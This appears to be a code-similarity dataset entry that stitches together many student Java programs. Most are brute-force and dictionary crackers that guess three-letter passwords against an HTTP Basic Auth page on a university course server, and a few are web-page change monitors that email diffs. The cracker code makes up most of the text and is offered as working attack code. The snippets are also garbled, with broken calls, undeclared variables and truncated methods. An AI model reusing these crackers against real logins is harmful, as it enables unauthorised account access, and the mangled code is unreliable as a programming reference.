         end = 0;
        
        try {
            attempt_counter = 0;
            URL target = new URL(urlName);
            
            switch (this.method) {
                
               case  BRUTEFORCE:
                    
                    s = System.currentTimeMillis();
                    
                    
                    for (char i = 0; i < END; i++) {
                        for (char j = 0; j < END; j++) {
                            for (char k = 0; k < END; k++) {
                                
                                password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
                                if (performConnection(target, user, password)) {
                                    
                                    end = System.currentTimeMillis();
                                    
                                    System.out.println("URL: \t\t" + target +
                                    "\nUser: \t\t"+ user + "\nPassword: \t" + password);

                                    System.out.println("Attempts: \t" + attempt_counter
                                    + "\nTotal time: \t" + ((end - a) / 1000.0f) + " seconds");
                                    return true;
                                }
                            }
                        }
                    }
                    
                    
                    for (char i = 0; i < END; i++) {
                        for (char j = 0; j < END; j++) {
                            for (char k = 0; k < END; k++) {
                                
                                password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
                                if (isValidPassword(target, password)) {
                                    
                                    end = System.currentTimeMillis();
                                    
                                    System.out.println("Attempts: \t" + attempt_counter
                                    + "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
                                    return true;
                                }
                            }
                        }
                    }
                    break;
                    
                case DICTIONARY:
                    try {
                        BufferedReader buf = new BufferedReader(new FileReader(filename));
                        
                         s = System.currentTimeMillis();
                        
                         {
                            password = buf.readLine();
                            
                            
                            
                            if (password.length() == 3) {
                                if (performConnection(target, user, password)) {
                                    
                                    end = System.currentTimeMillis();
                                    
                                    System.out.println("URL: \t\t" + target +
                                    "\nUser: \t\t"+ user + "\nPassword: \t" + password);
                                    
                                    System.out.println("Attempts: \t" + attempt_counter
                                    + "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
                                    return true;
                                }
                            }
                        }
                        while (password != null);
                    }
                    catch (FileNotFoundException e) {
                        System.out.println("File \"" + filename + "\" not found");
                    }
                    catch (IOException ioe) {
                        System.out.println("IO Error " + ioe);
                    }
                    break;
                    
                default:
                    return false;
            }
        }
        catch (Exception e) {
            System.out.println("ERROR: " + e.getMessage());
        }
        
        end = System.currentTimeMillis();
        System.out.println("Attempts: \t" + attempt_counter +
        "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
        
        return true;
    }
    
    
    private boolean isValidPassword(URL target, String password) throws Exception {
        
        char letter[] = new char[3];
        String generated = null;
        
        letter[0] = password.charAt(0);
        for (int i = 0; i < 2; i++) {
            
            letter[1] = password.charAt(1);
            for (int j = 0; j < 2; j++) {
                
                letter[2] = password.charAt(2);
                for (int k = 0; k < 2; k++) {
                    
                    generated = String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]);
                    
                    if ((Character.isUpperCase(letter[0]) == true) ||
                        (Character.isUpperCase(letter[1]) == true) ||
                        (Character.isUpperCase(letter[2]) == true)) {
                        
                        if (performConnection(target, user, generated) == true) {
                            
                            System.out.println("URL: \t\t" + target + "\nUser: \t\t"+ user +
                            "\nPassword: \t" + generated);
                            return true;
                        }
                    }
                    letter[2] = Character.toUpperCase(letter[2]);
                }
                letter[1] = Character.toUpperCase(letter[1]);
            }
            letter[0] = Character.toUpperCase(letter[0]);
        }
        return false;
    }
    
    
    private boolean performConnection(URL target, String username, String password) throws Exception {
        HttpURLConnection connection = null;
        
        try {
            attempt_counter++;
            connection = (HttpURLConnection) target.openConnection();
            connection.setRequestProperty("Authorization", " " + Base64.encode(username + ":" + password));
            
            switch (connection.getResponseCode() / 100) {
                 case 2:
                    System.out.println("Connected successfully");
                    return true;
                default:
                    return false;
            }
        }
        catch (Exception e) {
            throw new Exception("Failed  connect  " + target);
        }
    }
}
, 


import java.text.*;  
import java.util.*;  
import java.net.*;  
import java.io.*;  

  
public class BruteForce {  

   public int runProcess(String urlString,String passwd) {  

       int returnval = 0;
       MyAuthenticator auth = new MyAuthenticator(passwd);
       Authenticator.setDefault(auth);

	       System.out.println("trying passord: " + passwd);
       try{
            URL yahoo = new URL(urlString); 
            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));
            String inputLine;
            while ((inputLine = in.readLine()) != null) {
	       System.out.println(inputLine);
	       System.out.println("passord: " + passwd);
               returnval = 1;
            }
	    in.close();
          }catch(Exception e){ returnval = 0;}
       return returnval;
   }

   public static void  main(String argv[]) {  

       String[] val = 
{"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};

      int l1 = 0;

      int l2 = 0;

      int l3 = 0;
      
      int retval = 0;

      String pwd = "";

      
      BruteForce s = new BruteForce();  
      String urlToSearch = "http://sec-crack.cs.rmit.edu./SEC/2/";  
    
      for (int a = 0; a < 52; a++) {

        l1 = a;

        pwd = val[l1];
        retval = 0;
        retval = s.runProcess(urlToSearch,pwd);  
        if (retval > 0) {
           System.exit(0);
        }
      }


      for (int b = 0; b < 52; b++) {
        l1 = b;
        for (int c = 0; c < 52; c++) {

          l2 = c;
          pwd = val[l1]+ val[l2];
          retval = 0;
          retval = s.runProcess(urlToSearch,pwd);  
          if (retval > 0) {
             System.exit(0);
          }
        }
      }


      for (int d = 0; d < 52; d++) {
        l1 = d;
        for (int e = 0; e < 52; e++) {
          l2 = e;
          for (int f = 0; f < 52; f++) {

              l3 = f;

              pwd = val[l1]+ val[l2]+ val[l3];
              retval = 0;
              retval = s.runProcess(urlToSearch,pwd);  
              if (retval > 0) {
                 System.exit(0);
              }
           }
        }
      }

    }  
}     

, 



import java.util.*;
import java.net.*;
import java.io.*;
import misc.BASE64Encoder;
import javax.swing.*;

public class ConnectionThread extends Thread
{
    private String         url;
    private URL            currURL;
    private URLConnection  conn;
    private HoldSharedData sharedData;
    private int            noOfThread;
    private int            batch;

    public ConnectionThread( String pageURL, int wThread,
                             int newBatch, HoldSharedData data )
    {
        super();
        url = pageURL;
        noOfThread = wThread ;
        batch = newBatch;
        sharedData = data;
    }

    
    public void run()
    {
        try
        {
            currURL = new URL( url );

            for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
                                    (i < sharedData.getPwdCount()); i ++ )
            {
                String pwd = sharedData.getPasswordAt( i );

                conn = currURL.openConnection();

                if (conn instanceof HttpURLConnection)
                {
	            HttpURLConnection hconn = (HttpURLConnection) conn;
                    hconn.setFollowRedirects(false);
                    String cad = " " + based64Encoder( ":" + pwd );
                    hconn.setRequestProperty( "Authorization", cad );

                    hconn.connect();
	            int response = hconn.getResponseCode();
                    sharedData.setNumOfConnections();

                    if( response == 200 )
                    {
                         totalTime = System.currentTimeMillis() -
                                           sharedData.getStartTime();
                        int numOfConnections = sharedData.getNumOfConnections();

                        System.out.println( "Password is " + pwd );
                        System.out.println( "Total Time(seconds)=" +
                                           (double)totalTime/1000 );
                        System.out.println( "Number Of Connections: " +
                                                    numOfConnections );
                        System.exit(0);
                    }
                    else
                    {
                        hconn.disconnect();
                    }
                }
            }
        }
        catch( MalformedURLException mue )
        {
            String msg = "Unable  parse URL: " + url;
            System.err.println( msg );
        }
        catch( IOException ioe )
        {
            System.err.println( "I/O Error : " + ioe );
        }
    }

    private String based64Encoder( String pwd )
    {
        
        String str = pwd;
        byte[] buf = str.getBytes();
        String encodedStr = new misc.BASE64Encoder().encode(buf);


        return encodedStr;
    }
}  , source_sentence: 



public class SMTPException extends Exception {

       private String msg; 
       
       public SMTPException(String message) {
              msg = message;
       }

       
       public String getMessage() {
              return msg;
       }
}
sentences: import java.util.*;
import java.net.*;
import java.io.*;

public class BruteForce
{
    boolean connected = false;
    int counter;
    String[] chars = {"a","b","c","d","e","f","g","h",
                    "i","j","k","l","m","n","o","p",
                    "q","r","s","t","u","v","w","x",
                    "y","z","A","B","C","D","E","F",
                    "G","H","I","J","K","L","M","N",
                    "O","P","Q","R","S","T","U","V",
                    "W","X","Y","Z"};
    Vector combinations = new Vector();
    
    BruteForce()
    {
        counter = 0;
        this.genCombinations();
        this.startAttack();
    }   
    
    public void startAttack()
    {
        while(counter<this.combinations.size())
        {
           connected = sendRequest();
           if(connected == true)
           {
             System.out.print("The password is: ");
             System.out.println((String)combinations.elementAt(counter-1));
             counter = combinations.size();
           }
        }
    }
    
    public void genCombinations()
    {
        String combination = new String();
        
        for (int x=0; x<52; x++)
        {
            combination = chars[x];
            this.combinations.addElement(combination);
        }
        
        for (int x=0; x<52; x++)
        {
            for (int y=0; y<52; y++)
            {
                combination = chars[x] + chars[y];
                this.combinations.addElement(combination);
            }
        }   
        
        for (int x=0; x<52; x++)
        {
            for (int y=0; y<52; y++)
            {
                for (int z=0; z<52; z++)
                {
                    combination = chars[x] + chars[y] + chars[z];
                    this.combinations.addElement(combination);
                }
            }
        }   
    }
    
    public boolean sendRequest()
    {
        Authenticator.setDefault (new MyAuthenticator ());
        try 
        {
        	
        	URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
                HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
                urlConn.connect();
               if(urlConn.getResponseMessage().equalsIgnoreCase("OK"))
               {
                   return true;
               }
               
        } 
        catch (IOException e) {}
        
        return false;
    }
    
     public static void main(String [] args)
     {
         BruteForce bf = new BruteForce();
     }
   
   
     class MyAuthenticator extends Authenticator {
       
        protected PasswordAuthentication getPasswordAuthentication() {
            String username = "";
            String password = (String)combinations.elementAt(counter);
            counter++;
            return new PasswordAuthentication(username, password.toCharArray());
        }
    }
}
, import java.io.*;
import java.net.*;
import java.misc.*;


public class Dictionary
{

   public static void main (String args[]) throws IOException
   {
      final int maxLength = 3;
      final String username = "";
      final File dicFile = new File("/usr/share/lib/dict/words");
      final URL pageURL = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");

      String password="";
      BASE64Encoder encoder = new BASE64Encoder();
      boolean notFound = true;
      HttpURLConnection conn;

      BufferedReader reader = new BufferedReader(new FileReader(dicFile));

      while (notFound&&((password = reader.readLine()) != null))
      {
         if(password.length()>maxLength)
         {
            continue;
         }

         conn = (HttpURLConnection) pageURL.openConnection();

            conn.setRequestProperty("Authorization", " "+encoder.encode((username+":"+password).getBytes()));

         if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)
         {
            notFound=false;
         }

      }

      reader.print();

      if(notFound)
      {
         System.out.println(" valid password in dictionary file.");
      }
      else
      {
         System.out.println("Found valid password: \""+password+"\"");
      }
   }
}

, import java.io.*;
import java.util.*;
import java.net.*;
import java.misc.BASE64Encoder;

public class Dictionary
{

  public Dictionary()
  {
  }

  public static void main(String[] args)
  {
    try
    {

        if (args.length != 3 )
        {
            System.out.println("Usage: java BruteForce <URL> <UserName> <DictFileName>");
            System.exit(1);
        }

         timeStart = System.currentTimeMillis();

        String strPass = applyDictionary (args[0], args[1], args [2]);

         timeEnd = System.currentTimeMillis();

        System.out.println("\n\n\n\n\tPass Cracked is: " + strPass);
        System.out.println("\tTime taken is (sec):" + String.valueOf((timeEnd - timeStart)/1000));

    }
    catch(Exception e)
    {
      e.printStackTrace();
    }
  }

  static String applyDictionary (String URL, String UserName, String strUrlDictionary)
  {
      String strPass = "";

      try
      {
              FileInputStream fIn = new FileInputStream ( strUrlDictionary );
              DataInputStream dtIn = new DataInputStream ( fIn );

             
             

              System.out.print("\n\n\n Applying Dictionary Attack:      ");

              while (dtIn.available() > 0)
              {
                  strPass = dtIn.readLine();

                  if (strPass.length() != 3)
                    continue;

                 
               

                  System.out.print("\b\b\b" + strPass );

                  boolean boolResult = applyPass ( URL, UserName, strPass );

                  if (boolResult)
                  {
                      dtIn.close();
                      fIn.close();
                      return strPass;
                  }
              }

              dtIn.close();
              fIn.close();
      }
      catch (Exception e)
      {
          e.printStackTrace();
      }

      return "Could not find match";
  }

  private static boolean applyPass (String strURL, String strUserName, String strPass )
  {
        BASE64Encoder myEncoder = new BASE64Encoder ();

        try
        {
            String str = strUserName + ":" + strPass;

            String strEncode = myEncoder.encode(str.getBytes());

            URL url = new URL (strURL);

            URLConnection urlConn = url.openConnection();

            urlConn.setRequestProperty ("Authorization", " " + strEncode);

            urlConn.connect();

            String strReply = urlConn.getHeaderField(0);

            if ( strReply.trim().equalsIgnoreCase("HTTP/1.1 200 OK") )
            {
                return true;
            }
        }
        catch (Exception e)
        {
            e.printStackTrace ();
        }

        return false;
  }
}
, source_sentence: import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;
import java.security.*;



public class WatchDog extends Thread
{

	
	public static void main (String args[])
	{
	    WatchDog watcher = new WatchDog();
	    watcher.run();
	}

	
    public void run()
    {
   		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
          twentyFourHours = 24 * 60 * 60 * 1000;
        

   		writeProgramLog("Program started at " + longTimestamp.format(new Date()));
        while(true)
        {
    		writeProgramLog("Running run at " + longTimestamp.format(new Date()));
            compare();
            try
            {
                sleep(twentyFourHours);
            }
            catch(InterruptedException e)
            {
                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));
                System.exit(0);
            }
        }
    } 

	
    private void compare()
    {
        
        
        
        String watchDogFile = "watchDogHash_rcroft.";
        String watchDogPageFile = "watchDogPage_rcroft.html";
    
        File watchDogLogFile = new File(watchDogFile);
        
        if(!watchDogLogFile.exists())
        {
            
            
            
            
            
            WebPage targetPage = getPage();
            if(targetPage.getSuccess())
            {
                byte[] newHash = calcHash(targetPage.getPageContents());
                writeHash(newHash, watchDogFile);
                writePage(targetPage.getPageContents(), watchDogPageFile);
            }
        }
        else
        {
            try
            {
                
                
                
                
                
                
                WebPage targetPage = getPage();
                if(targetPage.getSuccess())
                {
                    
                    byte[] oldHash = new byte[16]; 
                    byte[] newHash = calcHash(targetPage.getPageContents());

                    
                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));
                    inWatchDogFile.readFully(oldHash);
                    inWatchDogFile.print();
                    
                    
                    
                    
                    if(!java.util.Arrays.equals(oldHash, newHash))
                    {
                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());
                        mail(differences);
                        writeHash(newHash, watchDogFile);
                        writePage(targetPage.getPageContents(), watchDogPageFile);
                    }
                }
            }
            catch(IOException e)
            {
                writeProgramLog("Exception: " + e);
            }
        }
    } 
    

	
	private String enumerateDifferences(String oldPageFileName, String newPageData)
	{
	    String differences = "";
	    File newFile = null;

	    try
	    {
	      
	      
	      newFile = File.createTempFile("new", "tmp");
          String tempFilePath = newFile.getAbsolutePath();
          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));
          outFile.writeBytes(newPageData);
          outFile.print();
          
          
          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;
          Process p = Runtime.getRuntime().exec(commandLine);
          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));
          String line;
          while((line = diffs.readLine()) != null)
            differences += line + "\n";
          diffs.print();
          newFile.delete();
	    }
	    catch(IOException e)
	    {
	        writeProgramLog("Exception: " + e);
	    }
	    return differences;
	}  

	
    private void mail(String mailMessage)
    {
        
        Vector emailAddresses = new Vector();
        String watchDogEmailFile = "watchDogEmail_rcroft.txt";

        
        File emailFile = new File(watchDogEmailFile);
        if(emailFile.exists())
        {
            try
            {
                
                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));
                String line;
                while ((line = inWatchDogEmailFile.readLine()) != null)
                {
                    line = line.trim();
                    if((line != "") && (line != "\n"))
                        emailAddresses.add(line);
                }
                inWatchDogEmailFile.print();
    	    }
    	    catch(FileNotFoundException e)
    	    {
    	        writeProgramLog("Exception: " + e);
    	    }
    	    catch(IOException e)
    	    {
    	        writeProgramLog("Exception: " + e);
    	    }
        }
        else
        {
            emailAddresses.add("@yallara.cs.rmit.edu.");
            emailAddresses.add("rac@acslink.aone.net.");
        }
                
        if(emailAddresses.size() > 0) 
        {
            try
            {
                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";
        		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";
                for(int i = 0; i < emailAddresses.size(); i++)
                {
                    String toAddress = (String) emailAddresses.get(i);
                    try
                    {
                        URL mailURL = new URL("mailto: " + toAddress);
                        URLConnection mailConnection = mailURL.openConnection();
                        mailConnection.setDoInput(false);
                        mailConnection.setDoOutput(true);
                        mailConnection.connect();
                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));
                        mailWriter.print(": " + toAddress + "\n");
                        mailWriter.print(fromAddress + "\n");
                        mailWriter.print(subject + "\n");
                        mailWriter.print(mailMessage);
                        mailWriter.print();
                        writeProgramLog("\tNotification mailed in this run.");
                    }
                    catch(MalformedURLException e)
                    {
                        writeProgramLog("Exception: " + e);
                    }
                    catch(IOException e)
                    {
                        writeProgramLog("Exception: " + e);
                    }
                }
            }
            catch(UnknownHostException e)
            {
                writeProgramLog("Exception: " + e);
            }  
        }  
    } 
    

	
    private void writeHash(byte [] newHash, String fileName)
    {
        try
        {
            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));
            outFile.write(newHash, 0, newHash.length);
            outFile.print();
        }
        catch(IOException e)
        {
            writeProgramLog("Exception: " + e);
        }
    }  
    
	
    private void writePage(String newPage, String fileName)
    {
        try
        {
            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));
            outFile.writeBytes(newPage);
            outFile.print();
        }
        catch(IOException e)
        {
            writeProgramLog("Exception: " + e);
        }
    }  
    

	
    private void writeProgramLog(String comment)
    {
        String fileName = "watchDogLog_rcroft.txt";
        try
        {
            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));
            outFile.writeBytes(comment + "\n");
            outFile.flush();
            outFile.print();
        }
        catch(IOException e)
        {
            
            
            System.out.println("Exception: " + e);
        }
    }  

	
    private WebPage getPage()
    {
        WebPage tempWebPage = new WebPage();
        try
        {
            
            
            
            String urlName = "http://www.cs.rmit.edu./students/";
   	    	URL targetURL= new URL(urlName);
           	HttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();
        
            
            connection.connect();
            connection.getResponseCode();
            if(connection.getResponseCode() == 200)
		    {
		        String fileContents = "";
		        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
                String line;
    		    while((line = in.readLine()) != null)
		    	    fileContents = fileContents + line + "\n";
		        in.print();
		        tempWebPage.setPageContents(fileContents);
    		    tempWebPage.setSuccess(true);
    		    connection.disconnect();
	        }
	        else
		    {
    		    writeProgramLog("Failed  connect " + connection.getResponseCode());
		    } 
        }
        catch(IOException e)
        {
    	    writeProgramLog("Exception " + e);
        } 
        return tempWebPage;
    } 
    
	
    private  byte[] calcHash(String pageContents)
    {
        byte[] outHash = null;
        try
        {
            MessageDigest msg = MessageDigest.getInstance("");
            msg.reset();
            msg.update(pageContents.getBytes());
            outHash = msg.digest();
            msg.reset();
        }
        catch(NoSuchAlgorithmException e)
        {
            writeProgramLog("Exception: " + e);
        }
        return outHash;
    } 
        
} 

sentences: import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;

class BruteForce {

    String password="";

    int num =401;


    public static void main (String[] args) {

      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

      BruteForce URLcon;

      int length = 0;

      String passwd="";

       int t0,t1;

      
      if (args.length == 0) {
      	
      	System.err.println (
      		
      		"Usage : java BruteForce <username>");
      	return;
      	
      	}
      String username = args[0];
      

      t0=System.currentTimeMillis();

      System.out.println ("  " + new Date());
      
      System.out.println ("Using BruteForce method  attack "+username+"'s password.Please waiting.......");

       for (int i=0;i<str.length();i++){

             passwd=str.substring(i,i+1);

             URLcon = new BruteForce (passwd,username);

             if ((URLcon.num)!=401) {

             	t1=System.currentTimeMillis();

                System.out.println("The password: "+ passwd);

             	double dt =t1-t0;



             	System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");

                System.out.println ("Finish  " + new Date());
                
             	return;

             }

             for (int j=0;j<str.length();j++){

                passwd =str.substring(i,i+1)+str.substring(j,j+1);

                URLcon = new BruteForce (passwd,username);

                if ((URLcon.num)!=401) {

             	     t1=System.currentTimeMillis();

                     System.out.println("The password: "+ passwd);


                     double dt =t1-t0;



                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
                     System.out.println ("Finish  " + new Date());
             	 return;

                 }
                for (int m=0;m<str.length();m++){

                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);

                  URLcon = new BruteForce (passwd,username);

                  if ((URLcon.num)!=401) {

                 	t1=System.currentTimeMillis();

                    System.out.println("The password: "+ passwd);


             	    double dt =t1-t0;



                 	System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
                    
                    System.out.println ("Finish  " + new Date());
                    
             	    return;

                  }


             }

}
}
        System.out.println(" not find the password");

}

   public  BruteForce  (String password, String username){

  	  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;

      

      try {

        String userPassword = username+":"+password ;

        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());

        URL url = new URL (urlString);

        HttpURLConnection uc = (HttpURLConnection) url.openConnection();

        uc.setRequestProperty ("Authorization", " " + encoding);

        url = uc.getResponseCode();


       }
        catch(MalformedURLException e){
       	  System.out.println(e);
       }catch(IOException e){
          System.out.println(e);
       }


   }
}, package java.httputils;

import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;


public class RunnableBruteForce extends BruteForce implements Runnable
{
    protected int rangeStart, rangeEnd;
    protected boolean stop = false;
    
    public RunnableBruteForce()
    {
        super();
    }

    
    public void run()
    {
        process();
    }

    public static void main(String[] args)
    {
    }
    
    public int getRangeEnd()
    {
        return rangeEnd;
    }

    
    public int getRangeStart()
    {
        return rangeStart;
    }

    
    public void setRangeEnd(int i)
    {
        rangeEnd = i;
    }

    
    public void setRangeStart(int i)
    {
        rangeStart = i;
    }

    
    public boolean isStop()
    {
        return stop;
    }

    
    public void setStop(boolean b)
    {
        stop = b;
    }

    public void process()
    {
        String password = "";
        
        System.out.println(Thread.currentThread().getName() +
                            "->  workload: " +
                            this.letters[getRangeStart()] + "  " +
                            this.letters[getRangeEnd() - 1]);
        setStart(new Timestamp(System.currentTimeMillis()));

        for (int i = getRangeStart();
            i < getRangeEnd();
            i++)
        {
            System.out.println(Thread.currentThread().getName() +
                    "-> Trying words beginning with: " +
                    letters[i]);
            for (int i2 = 0;
                i2 < letters.length;
                i2++)
            {
                for (int i3 = 0;
                    i3 < letters.length;
                    i3++)
                {
                    if (isStop())
                    {
                        return;
                    }
                    try
                    {
                        char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
                        String pwd = new String(arr);
                        
                        if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))
                        {
                            System.out.println(Thread.currentThread().getName() +
                                   "-> Trying password: " +
                                    pwd);
                        }
                        attempts++;

                        BasicAuthHttpRequest req =
                            new BasicAuthHttpRequest(
                                getURL(),
                                getUserName(),
                                pwd);
                        System.out.println("Got the password");
                        setPassword(pwd);
                        setEnd(new Timestamp(System.currentTimeMillis()));
                        setContent(req.getContent().toString());

                        
                        this.setChanged();
                        this.notifyObservers(this.getContent());
                        return;
                    }
                    catch (MalformedURLException e)
                    {
                        e.printStackTrace();
                        return;
                    }
                    catch (IOException e)
                    {

                    }
                }
            }
        }

        
        setEnd(new Timestamp(System.currentTimeMillis()));
    }

}
, 



 
import java.io.*;
import java.net.*;
import java.Runtime;
import java.util.*;
import java.net.smtp.SmtpClient; 



public class WatchDog

{

   static String strImageOutputFile01      = "WebPageImages01.txt";
   static String strImageOutputFile02      = "WebPageImages02.txt";

   static String strWebPageOutputFile01    = "WebPageOutput01.txt";
   static String strWebPageOutputFile02    = "WebPageOutput02.txt";

   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";

   static String strFromEmailDefault = "@.rmit.edu.";
   static String strToEmailDefault   = "@.rmit.edu.";

   static String strFromEmail = null;
   static String strToEmail   = null;




   public static void main (String args[])
   
   {

         
         
         
         
         

      URL url = null;
      HttpURLConnection urlConnection;
      int intContentLength;
      String strWebPageText = "";

      String strURL     = "http://www.cs.rmit.edu./students/";
      String strPrePend = "http://www.cs.rmit.edu.";

      boolean boolURLisOK = true;





      System.out.println();


         
         
      tidyUpWatchDogFiles();


         
         
         
         
      promptForEmailAddresses();




      try
      {
            
            
         url = new URL(strURL);       
      }

      catch(MalformedURLException e)
      {
         System.out.println("ERROR:  invalid URL " + strURL);   
         System.err.println(e);  
 
         boolURLisOK = false;
         url = null;
      }    

      catch(Exception e)
      {
         System.out.println("Exception");   
         System.err.println(e);  
      }


      System.err.println();  


      if (boolURLisOK)
      {
         try
         { 

               
               
            urlConnection = (HttpURLConnection)url.openConnection();


               
               
            InputStream urlStream = urlConnection.getInputStream();


               
               
            int intNumRead = urlStream.print();
            String strNewContent; 

            while (intNumRead != -1)
            {
               intNumRead = urlStream.print();
               if (intNumRead != -1)
               {
                  strNewContent = (char)intNumRead + ""; 
                  strWebPageText += strNewContent;
               }
            }

            urlStream.print(); 



               
               
            if (strWebPageText != null)
            {

               if (fileExists(strWebPageOutputFile01))
               {
                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               
               }

               else
               {
                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               
               }


               if (fileExists(strWebPageOutputFile02))
               { 
                  System.out.println("Output file");
                  System.out.println("-----------");
                  System.out.println("The output file '"   + 
                                     strWebPageOutputFile02    + 
                                     "' has NOW BEEN created.");                                    
                  System.out.println();
                  System.out.println("Comparison");
                  System.out.println("----------");
                  System.out.println("A text comparison  NOW  performed " +
                                      "with the output");
                  System.out.println("file '" + strWebPageOutputFile01 + "'.");
                  System.out.println();



                     
                     

                     
                     
                  createDiffFileIfNeeded(strWebPageOutputFile01, 
                                         strWebPageOutputFile02);                  


                     
                     
                  if (fileExists(strWatchDogDiffFile_01_02))
                  { 

                     System.out.println("Mail  (ordinary text comparison)");
                     System.out.println("--------------------------------");

                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)
                     {
                        sendMailWithDetectedChanges();
                        System.out.println("Text diff mail has been sent  the '' email address.");
                     }
                     else
                     {
                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");
                     }

                  }



                     
                     
                  createImageTextFile(strWebPageOutputFile01, strPrePend);
                  createImageTextFile(strWebPageOutputFile02, strPrePend);

                  System.out.println();
                  System.out.println("Image text file/s");
                  System.out.println("-----------------");


                  if (fileExists(strImageOutputFile01))
                  {
                     System.out.println("'" + strImageOutputFile01 + "' has been created.");
                     System.out.println("Images from '" + strImageOutputFile01 + "'  now  downloaded using");  
                     System.out.println("the Unix 'wget' command:");  

                     downloadImages(strImageOutputFile01);
                  }

                  if (fileExists(strImageOutputFile02))
                  {
                     System.out.println();
                     System.out.println("'" + strImageOutputFile02 + "' has been created.");
                  }

                  System.out.println();

               }

               else if (fileExists(strWebPageOutputFile01))
               {
                  System.out.println("Output file");
                  System.out.println("-----------");
                  System.out.println("The output file '"   + 
                                     strWebPageOutputFile01    + 
                                     "' has NOW BEEN created.");                                    
                  System.out.println();
                  System.out.println("Comparison");
                  System.out.println("----------");
                  System.out.println("A comparison CANNOT  performed " +
                                      "with this output file");
                  System.out.println("because it is the only output file " +
                                     "in existence.");
                  System.out.println();
               }

            }

         }

         catch(Exception e)
         {

            boolURLisOK = false;

            System.err.println(e);
         }   

         finally
         { 
            urlConnection = null;
            url = null; 
         }

      }


      System.out.println();

   }







   static void tidyUpWatchDogFiles()
   
   {

         
         


         
         
      deleteFile(strWatchDogDiffFile_01_02);


         
         
      deleteFile(strImageOutputFile01);
      deleteFile(strImageOutputFile02);


      if (fileExists(strWebPageOutputFile01))
      {

         if (fileExists(strWebPageOutputFile02))
         {
               
               
               
               
               
            deleteFile(strWebPageOutputFile01);
            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);
         }

      }

      else
      {
            
            
            
         deleteFile(strWebPageOutputFile02);
      }

   }







   static void promptForEmailAddresses()
   
   {      


      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));




         
         
      System.out.println();
      System.out.println("'From' email address");
      System.out.println("--------------------");
      System.out.println("Please enter a 'From' email address,  press Enter for default");
      System.out.print("(default: " + strFromEmailDefault + "):  ");

      try
      {
         strFromEmail = stdin.readLine();
      }
      catch (Exception e)
      {
         System.err.println(e);
      }
 

      System.out.println();

      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )
      {
         System.out.println(" email address was entered.");         
         System.out.println("The 'From' email address  default :  " + strFromEmailDefault);         
         strFromEmail = strFromEmailDefault;
      }

      else
      {
         System.out.println("The entered 'From' email address is:  " + strFromEmail);         
      }



         
         
      System.out.println();
      System.out.println("'' email address");
      System.out.println("------------------");
      System.out.println("Please enter a '' email address,  press Enter for default");
      System.out.print("(default: " + strToEmailDefault + "):  ");

      try
      {
         strToEmail = stdin.readLine();
      }
      catch (Exception e)
      {
         System.err.println(e);
      }
 

      System.out.println();

      if ( (strToEmail == null) || (strToEmail.length() == 0) )
      {
         System.out.println(" email address was entered.");         
         System.out.println("The '' email address  default :  " + strToEmailDefault);         
         strToEmail = strToEmailDefault;
      }

      else
      {
         System.out.println("The entered '' email address is:  " + strToEmail);         
      }

   }







   static void writeTextToFile(String strText,
                               String strWriteToThisFileName)
   
   {

      try
      {

         File newFile = new File(strWriteToThisFileName);

         if (newFile.exists())
         {
            newFile.delete();
         }


         BufferedWriter toFile =
              new BufferedWriter(new FileWriter(newFile,
                                                false));

         toFile.write(strText);

